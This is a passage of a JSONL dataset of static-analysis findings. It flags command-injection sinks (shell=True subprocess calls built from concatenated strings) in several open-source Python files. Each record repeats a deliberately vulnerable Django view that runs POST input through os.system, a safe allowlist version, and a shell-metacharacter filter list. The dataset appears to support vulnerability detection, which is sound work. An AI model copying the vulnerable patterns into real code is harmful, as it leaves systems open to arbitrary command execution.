'BULLETLOG_DATE': date}\n    env = {k: v for (k, v) in env.items() if v is not None}\n    return subprocess.run(sut + \" \" +arg, shell=True, check=True, env=env, **kwargs)\n\ndef sha1(b):\n    return hashlib.sha1(b).hexdigest()\n\ndef test_new_file():\n    dir = mkdir(os.path.join(root_dir, 'test_new_file'))\n    target_file = ensure(os.remove, os.path.join(dir, 'result'))\n\n    run(\"add NOTE\", target_file, '2020-01-05')\n\n    expected = textwrap.dedent(\"\"\"\\\n    ## 2020-01-05\n\n    * NOTE\n\n    \"\"\")\n    with open(target_file, 'rb') as f:\n        assert sha1(expected.encode('utf-8')) == sha1(f.read())\n\ndef test_add_entry():\n    dir = mkdir(os.path.join(root_dir, 'test_add_entry'))\n    target_file = ensure(os.remove, os.path.join(dir, 'result'))\n\n    run(\"task NOTE1\", target_file, '2020-01-05')\n    run(\"task NOTE2\", target_file, '2020-01-05')\n    run(\"task NOTE3\", target_file, '2020-01-05')\n\n    expected = textwrap.dedent(\"\"\"\\\n    ## 2020-01-05\n\n    - NOTE1\n\n    - NOTE2\n\n    - NOTE3\n\n    \"\"\")\n    with open(target_file, 'rb') as f:\n        assert sha1(expected.encode('utf-8')) == sha1(f.read())\n\ndef test_new_section():\n    dir = mkdir(os.path.join(root_dir, 'test_new_section'))\n    target_file = ensure(os.remove, os.path.join(dir, 'result'))\n\n    run(\"task NOTE1\", target_file, '2020-01-05')\n    run(\"task NOTE2\", target_file, '2020-01-05')\n    run(\"task NOTE3\", target_file, '2020-01-05')\n    run(\"add NOTE5\", target_file, '2020-01-10')\n\n    expected = textwrap.dedent(\"\"\"\\\n    ## 2020-01-10\n\n    * NOTE5\n\n    ## 2020-01-05\n\n    - NOTE1\n\n    - NOTE2\n\n    - NOTE3\n\n    \"\"\")\n    with open(target_file, 'rb') as f:\n        assert sha1(expected.encode('utf-8')) == sha1(f.read())\n\ndef test_tasks():\n    dir = mkdir(os.path.join(root_dir, 'test_tasks'))\n    target_file = ensure(os.remove, os.path.join(dir, 'result'))\n\n    run(\"task NOTE1\", target_file, '2020-01-05')\n    run(\"add NOTE2\", target_file, '2020-01-05')\n    run(\"task NOTE3\", target_file, '2020-01-05')\n    run(\"add NOTE5\", target_file, '2020-01-10')\n    run(\"task NOTE8\", target_file, '2020-01-10')\n    run(\"add NOTE10\", target_file, '2020-01-25')\n    run(\"task NOTE12\", target_file, '2020-01-25')\n\n    r = run(\"tasks\", target_file, capture_output=True)\n\n    expected = textwrap.dedent(\"\"\"\\\n    0: NOTE12\n    1: NOTE8\n    2: NOTE1\n    3: NOTE3\n    \"\"\")\n    assert sha1(expected.encode('utf-8')) == sha1(r.stdout)\n\ndef test_complete_task():\n    dir = mkdir(os.path.join(root_dir, 'test_complete_task'))\n    target_file = ensure(os.remove, os.path.join(dir, 'result'))\n\n    run(\"task NOTE1\", target_file, '2020-01-05')\n    run(\"add NOTE2\", target_file, '2020-01-05')\n    run(\"add NOTE5\", target_file, '2020-01-10')\n    run(\"task NOTE8\", target_file, '2020-01-10')\n    run(\"add NOTE10\", target_file, '2020-01-25')\n    run(\"task NOTE12\", target_file, '2020-01-25')\n\n    run(\"comp 2\", target_file)\n\n    expected = textwrap.dedent(\"\"\"\\\n    ## 2020-01-25\n\n    * NOTE10\n\n    - NOTE12\n\n    ## 2020-01-10\n\n    * NOTE5\n\n    - NOTE8\n\n    ## 2020-01-05\n\n    x NOTE1\n\n    * NOTE2\n\n    \"\"\")\n\n    with open(target_file, 'rb') as f:\n        assert sha1(expected.encode('utf-8')) == sha1(f.read())\n\n# Before all\nshutil.rmtree(root_dir)\nmkdir(root_dir)\n\ntest_failed = False\n\ntry:\n    test_new_file()\n    test_add_entry()\n    test_new_section()\n    test_tasks()\n    test_complete_task()\nexcept AssertionError as e:\n    test_failed = True\n    traceback.print_exec()\n\nif test_failed:\n    print(\"failed\")\nelse:\n    print(\"pass\")", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 27, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "48ce06c947af665339c7c6636371972f0a436b7806adb1793694e429eb864c72", "license": {"spdx": ["Apache-2.0"], "repo": "TakesxiSximada/dumpcar", "path": "scripts/get-db-raw-snapshot-mysql.py", "repo_head_hexsha": "5046c36ab62c38aeee511a6593a0ad176eb9d941", "stack_hexsha": "632dd9f6e12bbbd1b4acf6b14acf7925e0d8ee52", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 12, "entireCode": "import getpass\nimport argparse\nimport subprocess\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('host')\nparser.add_argument('user')\nparser.add_argument('db')\nargs = parser.parse_args()\n\nchild = subprocess.run('mysqldump -h {} -u {} {}'.format(\n    args.host, args.user, args.db), shell=True)\nchild.wait()\nchild = subprocess.run('mysqldump -h {} -u {} {}'.format(\n    args.host, args.user, args.db), shell=True)\nchild.wait()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 12, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "13583781800e3ff8e0e77b0906b3d6f5318f5d9f31e9cc02f3b685a6f189413a", "license": {"spdx": ["MIT"], "repo": "MoD-i/data-exchange-backend", "path": "src/utils/auto_node_create.py", "repo_head_hexsha": "a1d0532f6c5d3fee90615fce2de17d13168f8db1", "stack_hexsha": "17ece0b729be64e9fb3c82a0a54cd64586bd319e", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 84, "entireCode": "#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim:fenc=utf-8\n# created_on: 2018-07-27 21:37\n\n\"\"\"\nauto_node_create.py\n\nAIM: Automatically:\n        1. Install Multichain\n        2. Check/Use or Create new Node\n        3. Connect Node with MoD-i Blockchain\nPre-requisites:\n    1. OS: Linux(Debian) or Windows\n    2. `sudo` password in Linux\n    3. Python >= 3.6\n\"\"\"\n\nimport os\nimport subprocess\nimport requests\nimport socket\nimport getpass\nfrom pathlib import Path\nimport re\nimport sys\nimport logging\n\n\n__version__ = '1.0.0'\n__author__ = '  <>'\n__copyright__ = 'Copyright (C) 2018 MoD-i. All rights reserved.'\n__license__ = 'Distributed under terms of the MIT license.'\n\n\nlogger = logging.getLogger(__name__)\n\nHOSTNAME = socket.gethostname()\nUSER = getpass.getuser()\nCOUNT = 0\nSUFFIX = 'node'\nHOME_DIR = str(Path.home())\nBASE_NAME = f'{HOSTNAME}-{USER}-{SUFFIX}'\nNODE_NAME = f'{BASE_NAME}{COUNT}'\nNODE_DIR = os.path.join(HOME_DIR, NODE_NAME)\nREGEX = re.escape(BASE_NAME) + r'[0-9]+'\nRE_OBJ = re.compile(REGEX, re.IGNORECASE)\nEXISTING_NODES = []\n\n\n##\n# check if all-ready a MoD-i created default node present \n# default node name: {hostname}-{count}-node\n##\n\ndef check_node():\n    found = 0\n\n    for dirs in os.listdir(HOME_DIR):\n        if RE_OBJ.match(dirs):\n            found += 1\n            EXISTING_NODES.append(dirs)\n    return found \n\n\ndef create_node():\n    global NODE_DIR\n    if len(EXISTING_NODES) > 0:\n        logger.warning('Creating another node.')\n        last_node_no = max(map(lambda node: int(node[-1]), EXISTING_NODES))\n        new_node_no = last_node_no + 1\n        os.mkdir(os.path.join(HOME_DIR, BASE_NAME + str(new_node_no)))\n        NODE_DIR = str(os.path.join(HOME_DIR, BASE_NAME + str(new_node_no)))\n    else:\n        logger.warning('Creating new node.')\n        os.mkdir(NODE_DIR)\n\n    \ndef connect_node():\n    global NODE_DIR\n    print('command\\n:', NODE_DIR)\n    # p = subprocess.run(['multichaind', f'-datadir={NODE_DIR}', 'block-chain@172.16.17.32:2657'], shell=True, \n    # p = subprocess.run(['multichaind -datadir=/home/toran/mint-ThinkPad-L440-root-node0 block-chain@172.16.17.32:2657'], shell=True, \n    p = subprocess.run([f'multichaind -datadir={NODE_DIR} block-chain@172.16.17.32:2657'], shell=True, \n        stdout=subprocess.PIPE)\n    res = p.stdout.decode()\n    print(res)\n\n\ndef install_multichain():\n    # TODO: check if already installed and skip\n    os.chdir('/tmp/')\n    subprocess.run(['wget', 'https://www.multichain.com/download/multichain-1.0.5.tar.gz'])\n    subprocess.run(['tar', '-xvzf', 'multichain-1.0.5.tar.gz'])\n    os.chdir('multichain-1.0.5')\n    subprocess.run(['sudo', 'mv', 'multichaind', 'multichain-cli', 'multichain-util', '/usr/local/bin'])\n\n\n\nif __name__ == '__main__':\n    found = check_node()\n    if found==1:\n        print(f'There is already {found} nodes linked to the MoD-i blockchain')\n    elif found>1:\n        print(f'There are already {found} nodes linked to the MoD-i blockchain')\n\n    while True:\n        if found == 0:\n            user_inp = input(\"Do you want to create a node [y/n] : \")\n        else:            \n            user_inp = input(\"Do you still want to create a new node [y/n] : \")\n        if user_inp.lower() in ('n', 'no'):\n            logger.info('Aborted. Exiting.')\n            sys.exit()\n        elif user_inp.lower() in ('y', 'yes'):\n            install_multichain()\n            logger.info('multichain installed')\n            create_node()\n            logger.info('One node created.')\n            connect_node()\n            logger.info('Node connected.')\n            # TODO: Tell datadir, chain name etc\n            sys.exit()\n        else:\n            print('Please enter a valid option')\n            logger.info('Invaid option entered.')", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 84, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "fe5672e9057e1c883cb11b5ebd7d25f8e27252094984465eb141eff5ca600e8e", "license": {"spdx": ["MIT"], "repo": "bigdatamoore/py-az-cli", "path": "test/pyaz/resource/link/__init__.py", "repo_head_hexsha": "54383a4ee7cc77556f6183e74e992eec95b28e01", "stack_hexsha": "5278f00de44639f802a1c375c893306cf8471e47", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 9, "entireCode": "import json, subprocess\nfrom ... pyaz_utils import get_cli_name, get_params\n\n\ndef create(link, target, notes=None):\n    params = get_params(locals())   \n    command = \"az resource link create \" + params\n    print(command)\n    output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    stdout =  output.stdout.decode(\"utf-8\")\n    stderr = output.stderr.decode(\"utf-8\")\n    if stdout:\n        return json.loads(stdout)\n        print(stdout)\n    else:\n        raise Exception(stderr)\n        print(stderr)  \n\ndef delete(link):\n    params = get_params(locals())   \n    command = \"az resource link delete \" + params\n    print(command)\n    output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    stdout =  output.stdout.decode(\"utf-8\")\n    stderr = output.stderr.decode(\"utf-8\")\n    if stdout:\n        return json.loads(stdout)\n        print(stdout)\n    else:\n        raise Exception(stderr)\n        print(stderr)  \n\ndef show(link):\n    params = get_params(locals())   \n    command = \"az resource link show \" + params\n    print(command)\n    output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    stdout =  output.stdout.decode(\"utf-8\")\n    stderr = output.stderr.decode(\"utf-8\")\n    if stdout:\n        return json.loads(stdout)\n        print(stdout)\n    else:\n        raise Exception(stderr)\n        print(stderr)  \n\ndef list(scope=None, filter=None):\n    params = get_params(locals())   \n    command = \"az resource link list \" + params\n    print(command)\n    output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    stdout =  output.stdout.decode(\"utf-8\")\n    stderr = output.stderr.decode(\"utf-8\")\n    if stdout:\n        return json.loads(stdout)\n        print(stdout)\n    else:\n        raise Exception(stderr)\n        print(stderr)  \n\ndef update(link, target=None, notes=None):\n    params = get_params(locals())   \n    command = \"az resource link update \" + params\n    print(command)\n    output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    stdout =  output.stdout.decode(\"utf-8\")\n    stderr = output.stderr.decode(\"utf-8\")\n    if stdout:\n        return json.loads(stdout)\n        print(stdout)\n    else:\n        raise Exception(stderr)\n        print(stderr)  ", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 9, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "5367a52f1cdb5bd6243946daa0b253ec3954651835a8216a3f248e87574549da", "license": {"spdx": ["Apache-2.0"], "repo": "dtrawins/seldon-core", "path": "testing/scripts/test_ksonnet_single_namespace.py", "repo_head_hexsha": "3d8b3791b343118953757a1e787e5919cc64e697", "stack_hexsha": "0a444a2a9b00c93ede978edd61b59c20a6608e93", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 9, "entireCode": "import pytest\nimport time\nimport subprocess\nfrom subprocess import run,Popen\nfrom seldon_utils import *\nfrom k8s_utils import *\n\ndef wait_for_shutdown(deploymentName):\n    ret = run(\"kubectl get deploy/\"+deploymentName, shell=True)\n    while ret.returncode == 0:\n        time.sleep(1)\n        ret = run(\"kubectl get deploy/\"+deploymentName, shell=True)\n\ndef wait_for_rollout(deploymentName):\n    ret = run(\"kubectl rollout status deploy/\"+deploymentName, shell=True)\n    while ret.returncode > 0:\n        time.sleep(1)\n        ret = run(\"kubectl rollout status deploy/\"+deploymentName, shell=True)    \n\ndef initial_rest_request():\n    r = rest_request_api_gateway(\"oauth-key\",\"oauth-secret\",None,API_GATEWAY_REST)        \n    if not r.status_code == 200:\n        time.sleep(1)\n        r = rest_request_api_gateway(\"oauth-key\",\"oauth-secret\",None,API_GATEWAY_REST)\n        if not r.status_code == 200:\n            time.sleep(5)\n            r = rest_request_api_gateway(\"oauth-key\",\"oauth-secret\",None,API_GATEWAY_REST)\n    return r\n\n@pytest.mark.usefixtures(\"seldon_java_images\")\n@pytest.mark.usefixtures(\"single_namespace_seldon_ksonnet\")\nclass TestSingleNamespace(object):\n    \n    # Test singe model helm script with 4 API methods\n    def test_single_model(self):\n        run('cd my-model && ks delete default && ks component rm mymodel', shell=True)\n        run('kubectl delete sdep --all', shell=True)\n        run('cd my-model && ks generate seldon-serve-simple-v1alpha2 mymodel --image seldonio/mock_classifier:1.0 --oauthKey=oauth-key --oauthSecret=oauth-secret && ks apply default -c mymodel', shell=True, check=True)       \n        wait_for_rollout(\"mymodel-mymodel-025d03d\")\n        r = initial_rest_request()\n        r = rest_request_api_gateway(\"oauth-key\",\"oauth-secret\",None,API_GATEWAY_REST)\n        res = r.json()\n        print(res)\n        assert r.status_code == 200\n        assert len(r.json()[\"data\"][\"tensor\"][\"values\"]) == 1\n        r = rest_request_ambassador(\"mymodel\",None,API_AMBASSADOR)\n        res = r.json()\n        print(res)\n        assert r.status_code == 200\n        assert len(r.json()[\"data\"][\"tensor\"][\"values\"]) == 1\n        r = grpc_request_ambassador2(\"mymodel\",None,API_AMBASSADOR)        \n        print(r)\n        r = grpc_request_api_gateway2(\"oauth-key\",\"oauth-secret\",None,rest_endpoint=API_GATEWAY_REST,grpc_endpoint=API_GATEWAY_GRPC)\n        print(r)\n        run('cd my-model && ks delete default -c mymodel && ks component rm mymodel', shell=True)        \n\n    # Test AB Test model helm script with 4 API methods\n    def test_abtest_model(self):\n        run('cd my-model && ks delete default && ks component rm mymodel', shell=True)\n        run('kubectl delete sdep --all', shell=True)\n        run('cd my-model && ks generate seldon-abtest-v1alpha2 myabtest --imageA seldonio/mock_classifier:1.0 --imageB seldonio/mock_classifier:1.0 --oauthKey=oauth-key --oauthSecret=oauth-secret &&     ks apply default -c myabtest', shell=True)\n        wait_for_rollout(\"myabtest-myabtest-41de5b8\")\n        wait_for_rollout(\"myabtest-myabtest-df66c5c\")        \n        r = initial_rest_request()\n        r = rest_request_api_gateway(\"oauth-key\",\"oauth-secret\",None,API_GATEWAY_REST)\n        res = r.json()\n        print(res)\n        assert r.status_code == 200\n        assert len(r.json()[\"data\"][\"tensor\"][\"values\"]) == 1\n        r = rest_request_ambassador(\"myabtest\",None,API_AMBASSADOR)\n        res = r.json()\n        print(res)\n        assert r.status_code == 200\n        assert len(r.json()[\"data\"][\"tensor\"][\"values\"]) == 1\n        r = grpc_request_ambassador2(\"myabtest\",None,API_AMBASSADOR)        \n        print(r)\n        r = grpc_request_api_gateway2(\"oauth-key\",\"oauth-secret\",None,rest_endpoint=API_GATEWAY_REST,grpc_endpoint=API_GATEWAY_GRPC)\n        print(r)\n        run('cd my-model &&     ks delete default -c myabtest &&  ks component rm myabtest', shell=True)\n\n    # Test MAB Test model helm script with 4 API methods\n    def test_mab_model(self):\n        run('cd my-model && ks delete default && ks component rm mymab', shell=True)\n        run('kubectl delete sdep --all', shell=True)\n        run('cd my-model &&     ks generate seldon-mab-v1alpha2 mymab --imageA seldonio/mock_classifier:1.0 --imageB seldonio/mock_classifier:1.0 --oauthKey=oauth-key --oauthSecret=oauth-secret &&     ks apply default -c mymab', shell=True) \n        wait_for_rollout(\"mymab-mymab-41de5b8\")\n        wait_for_rollout(\"mymab-mymab-b8038b2\")\n        wait_for_rollout(\"mymab-mymab-df66c5c\")                \n        r = initial_rest_request()\n        r = rest_request_api_gateway(\"oauth-key\",\"oauth-secret\",None,API_GATEWAY_REST)\n        res = r.json()\n        print(res)\n        assert r.status_code == 200\n        assert len(r.json()[\"data\"][\"tensor\"][\"values\"]) == 1\n        r = rest_request_ambassador(\"mymab\",None,API_AMBASSADOR)\n        res = r.json()\n        print(res)\n        assert r.status_code == 200\n        assert len(r.json()[\"data\"][\"tensor\"][\"values\"]) == 1\n        r = grpc_request_ambassador2(\"mymab\",None,API_AMBASSADOR)        \n        print(r)\n        r = grpc_request_api_gateway2(\"oauth-key\",\"oauth-secret\",None,rest_endpoint=API_GATEWAY_REST,grpc_endpoint=API_GATEWAY_GRPC)\n        print(r)\n        run('cd my-model && ks delete default && ks component rm mymab', shell=True)        \n        ", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 9, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "910f76b65de57546c0b49302490e9a45abbc899a42a5f80535056ece96f929da", "license": {"spdx": ["MIT"], "repo": "binchensun/hissw", "path": "hissw/environment.py", "repo_head_hexsha": "c03599b1d6c75dc7117318ecde20a49b8f14a97d", "stack_hexsha": "e8aaccc9d7657be30449c0f2c759dfb4f94b6bc3", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 129, "entireCode": "\"\"\"\nBuild SSW scripts from Jinja 2 templates\n\"\"\"\nimport os\nimport datetime\nimport subprocess\nimport tempfile\n\nfrom jinja2 import (Environment as Env,\n                    FileSystemLoader,\n                    PackageLoader)\nfrom scipy.io import readsav\n\nfrom .read_config import defaults\nfrom .util import SSWIDLError, IDLLicenseError\n\n\nclass Environment(object):\n    \"\"\"\n    Environment for running SSW and IDL scripts\n\n    Parameters\n    ----------\n    ssw_packages : list, optional\n        List of SSW packages to load, e.g. 'sdo/aia', 'chianti'\n    ssw_paths : list, optional\n        List of SSW paths to pass to `ssw_path`\n    extra_paths : list, optional\n        Additional paths to add to the IDL namespace\n    ssw_home : str, optional\n        Root of SSW tree\n    idl_home : str, optional\n        Path to IDL executable\n    \"\"\"\n\n    def __init__(self, ssw_packages=None, ssw_paths=None, extra_paths=None,\n                 ssw_home=None, idl_home=None,):\n        self.ssw_packages = ssw_packages if ssw_packages is not None else []\n        self.ssw_paths = ssw_paths if ssw_paths is not None else []\n        self.extra_paths = extra_paths if extra_paths is not None else []\n        self.env = Env(loader=PackageLoader('hissw', 'templates'))\n        self._setup_home(ssw_home, idl_home,)\n\n    def _setup_home(self, ssw_home, idl_home,):\n        \"\"\"\n        Setup SSW and IDL home locations\n        \"\"\"\n        self.ssw_home = defaults['ssw_home'] if ssw_home is None else ssw_home\n        if self.ssw_home is None:\n            raise ValueError('''ssw_home must be set at instantiation or in the hisswrc file.''')\n        self.idl_home = defaults['idl_home'] if idl_home is None else idl_home\n        if self.idl_home is None:\n            raise ValueError('''idl_home must be set at instantiation or in the hisswrc file.''')\n\n    def custom_script(self, script, args):\n        \"\"\"\n        Generate custom IDL scripts from templates\n        \"\"\"\n        if os.path.isfile(script):\n            env = Env(loader=FileSystemLoader(os.path.dirname(script)))\n            idl_script = env.get_template(os.path.basename(script)).render(**args)\n        else:\n            env = Env()\n            idl_script = env.from_string(script).render(**args)\n\n        return idl_script\n\n    def procedure_script(self, script, save_vars, save_filename):\n        \"\"\"\n        Render inner procedure file\n        \"\"\"\n        if save_vars is None:\n            save_vars = []\n        params = {'script': script, 'save_vars': save_vars, 'save_filename': save_filename}\n        return self.env.get_template('procedure.pro').render(**params)\n\n    def command_script(self, procedure_filename):\n        \"\"\"\n        Generate parent IDL script\n        \"\"\"\n        params = {'ssw_paths': self.ssw_paths,\n                  'extra_paths': self.extra_paths,\n                  'procedure_filename': procedure_filename}\n        return self.env.get_template('parent.pro').render(**params)\n\n    def shell_script(self, command_filename):\n        \"\"\"\n        Generate shell script for starting up SSWIDL\n        \"\"\"\n        params = {'ssw_home': self.ssw_home,\n                  'ssw_packages': self.ssw_packages,\n                  'idl_home': self.idl_home,\n                  'command_filename': command_filename}\n        return self.env.get_template('startup.sh').render(**params)\n\n    def run(self, script, args=None, save_vars=None, verbose=True):\n        \"\"\"\n        Set up the SSWIDL environment and run the supplied scripts.\n\n        Parameters\n        ----------\n        script : str\n            Literal script or path to script file\n        args : dict, optional\n            Input arguments to script\n        save_vars : list, optional\n            Variables to save and return from the IDL namespace\n        verbose : bool, optional\n        \"\"\"\n        args = {} if args is None else args\n        with tempfile.TemporaryDirectory() as tmpdir:\n            # Get filenames\n            fn_template = os.path.join(\n                tmpdir, '{name}_'+datetime.datetime.now().strftime('%Y%m%d-%H%M%S')+'.{ext}')\n            save_filename = fn_template.format(name='idl_vars', ext='sav')\n            procedure_filename = fn_template.format(name='idl_procedure', ext='pro')\n            command_filename = fn_template.format(name='idl_script', ext='pro')\n            shell_filename = fn_template.format(name='ssw_shell', ext='sh')\n            # Render and save scripts\n            idl_script = self.custom_script(script, args)\n            with open(procedure_filename, 'w') as f:\n                f.write(self.procedure_script(idl_script, save_vars, save_filename))\n            with open(command_filename, 'w') as f:\n                f.write(self.command_script(procedure_filename))\n            with open(shell_filename, 'w') as f:\n                f.write(self.shell_script(command_filename,))\n            # Execute\n            subprocess.call(['chmod', 'u+x', shell_filename])\n            cmd_output = subprocess.run([shell_filename], shell=True, stderr=subprocess.PIPE,\n                                        stdout=subprocess.PIPE)\n            self._check_for_errors(cmd_output, verbose)\n            results = readsav(save_filename)\n\n        return results\n\n    def _check_for_errors(self, output, verbose):\n        \"\"\"\n        Check IDL output to try and decide if an error has occurred\n        \"\"\"\n        stdout = output.stdout.decode('utf-8')\n        stderr = output.stderr.decode('utf-8')\n        # NOTE: For some reason, not only errors are output to stderr so we\n        # have to check it for certain keywords to see if an error occurred\n        if 'execution halted' in 